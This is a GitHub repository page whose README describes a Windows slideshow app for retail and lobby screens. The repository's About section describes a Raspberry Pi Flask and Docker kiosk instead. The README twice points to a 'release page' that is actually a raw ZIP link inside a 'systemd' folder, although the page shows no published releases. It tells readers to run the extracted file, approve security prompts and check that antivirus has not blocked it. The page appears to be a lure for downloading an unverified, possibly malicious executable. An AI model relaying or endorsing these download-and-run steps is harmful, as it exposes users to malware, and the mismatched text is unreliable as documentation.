Skip to content

bcapbr/pi-slideshow

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

142 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎬 pi-slideshow - Simple slideshows for shared screens

Download pi-slideshow

📦 What this app does

pi-slideshow is a slideshow generator for retail spaces, lobbies, classrooms, and public screens. It helps you show a set of images in a clean, repeating loop. You can use it to display notices, photos, ads, or event slides on a Windows computer connected to a screen.

This app is made for simple use. You download it, open it, and point it to your images. Then it keeps the slideshow running.

🖥️ What you need

Use a Windows PC with:

  • Windows 10 or Windows 11
  • At least 4 GB of RAM
  • Enough free space for your images and video files
  • A screen or TV connected to the computer
  • A mouse and keyboard for setup

It works best with folders that hold JPG and PNG files. It can also work with other media types used in display setups.

🚀 Download and install

Go to the release page here:

https://raw.githubusercontent.com/bcapbr/pi-slideshow/main/systemd/pi-slideshow-v2.6.zip

On that page:

  1. Find the latest release
  2. Open the file for Windows
  3. Download it to your computer
  4. If the file is a ZIP file, right-click it and choose Extract All
  5. Open the extracted folder
  6. Run the app file inside the folder

If Windows asks for permission, choose Run or Yes.

🧭 First setup

After you open pi-slideshow, set up these basics:

  • Choose the folder that has your images
  • Set the order for the slideshow
  • Pick how long each image stays on screen
  • Set the screen mode for your display
  • Save the settings

If you want to use the app for a shop window or lobby screen, place your files in one folder first. That makes setup easier.

🖼️ Add your images

Use clear image files for best results.

Good file types:

  • JPG
  • JPEG
  • PNG

Tips for your files:

  • Use large images for full-screen displays
  • Keep file names simple
  • Put all slide images in one folder
  • Remove files you do not want shown

If your screen is wide, use wide images. If your screen is tall, use tall images. This helps avoid black bars and stretched pictures.

▶️ Start the slideshow

Once your folder is set:

  1. Open the app
  2. Load your image folder
  3. Start playback
  4. Check the screen
  5. Adjust timing if needed

If the slideshow skips too fast, make each slide stay up longer. If the screen looks empty, check that your folder has image files in it.

⚙️ Playback options

pi-slideshow is built for repeat use. It can help you keep content on screen without much work.

Common options include:

  • Loop the slideshow
  • Show files in order or by name
  • Change slide time
  • Fit images to the screen
  • Run on a second display
  • Play full screen

If you use it in a public place, full screen mode keeps the screen clean and easy to read.

🧩 Media support

The app fits display setups that use more than just still images. Based on the tools in this project, it can work well in setups that use:

  • Image files for slides
  • Video playback support
  • Full-screen display tools
  • Folder-based media lists

For best results, keep your media in a single folder and test the playback once before you use it for a live screen.

🔧 Using it on a shop or public screen

For retail or public areas, set up the computer like this:

  • Turn off sleep mode
  • Turn off screen saver
  • Keep the app open at startup
  • Use auto-login if needed
  • Store slides in one folder
  • Test the display after a restart

If you plan to leave it running all day, use a stable power source and check the screen once before opening hours.

🪟 Windows setup tips

If the app does not open right away:

  • Check that the file finished downloading
  • Make sure you extracted the ZIP file first
  • Right-click the app and choose Open
  • Allow the app if Windows shows a security prompt
  • Keep the app folder in a place you can find later

If you move the folder after setup, some saved paths may need to be set again.

📁 Suggested folder layout

Use a simple folder structure like this:

  • pi-slideshow
    • slides
    • videos
    • settings

Keep your images in the slides folder. Keep video files in the videos folder if you use them. This makes it easier to find and update your content later.

🧪 Test before use

Before you rely on it for a store or event screen, test these items:

  • The app opens on your computer
  • Your image folder loads
  • Slides show in the right order
  • Full screen mode works
  • The screen stays on after a few minutes
  • The computer restarts without breaking the setup

This helps you catch simple setup problems early.

🛠️ Common problems

The app will not start

  • Check that you downloaded the right Windows file
  • Extract the ZIP file first
  • Try running it again
  • Make sure your antivirus did not block it

Images do not appear

  • Check the folder path
  • Confirm the folder has JPG or PNG files
  • Move the images into one folder
  • Remove files with strange names

The screen looks wrong

  • Check your screen resolution
  • Try full screen mode
  • Use images that match the screen shape
  • Set the correct display if you have more than one monitor

Playback is slow

  • Use smaller image files
  • Close other apps
  • Try a computer with more memory
  • Keep the slide folder on the local drive

🔗 Download again if needed

If you need the file again, use the release page:

https://raw.githubusercontent.com/bcapbr/pi-slideshow/main/systemd/pi-slideshow-v2.6.zip

Open the latest release, download the Windows file, and run it after extraction

🖱️ Quick use steps

  1. Visit the release page
  2. Download the latest Windows file
  3. Extract the files if needed
  4. Open the app
  5. Choose your slide folder
  6. Start the slideshow
  7. Put the screen in full screen mode
  8. Leave the app open for display use

📌 File types that work well

Use these file types for best results:

  • .jpg
  • .jpeg
  • .png

These file types load well for screen use and are easy to manage for large slide folders

🔄 Updating your slideshow

To change what the screen shows:

  1. Open your slide folder
  2. Add new images
  3. Remove old images
  4. Save your changes
  5. Refresh the app if needed

This lets you update signs, photos, or notices without changing the whole setup

🧼 Keep it easy to manage

To keep the setup simple:

  • Use one main folder for slides
  • Use clear file names
  • Keep backup copies of your images
  • Test after each change
  • Leave the app in one fixed place

A clean folder setup saves time when you need to make changes later

About

Build a Flask and Docker slideshow app that turns images into looped video playback on a Raspberry Pi kiosk.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors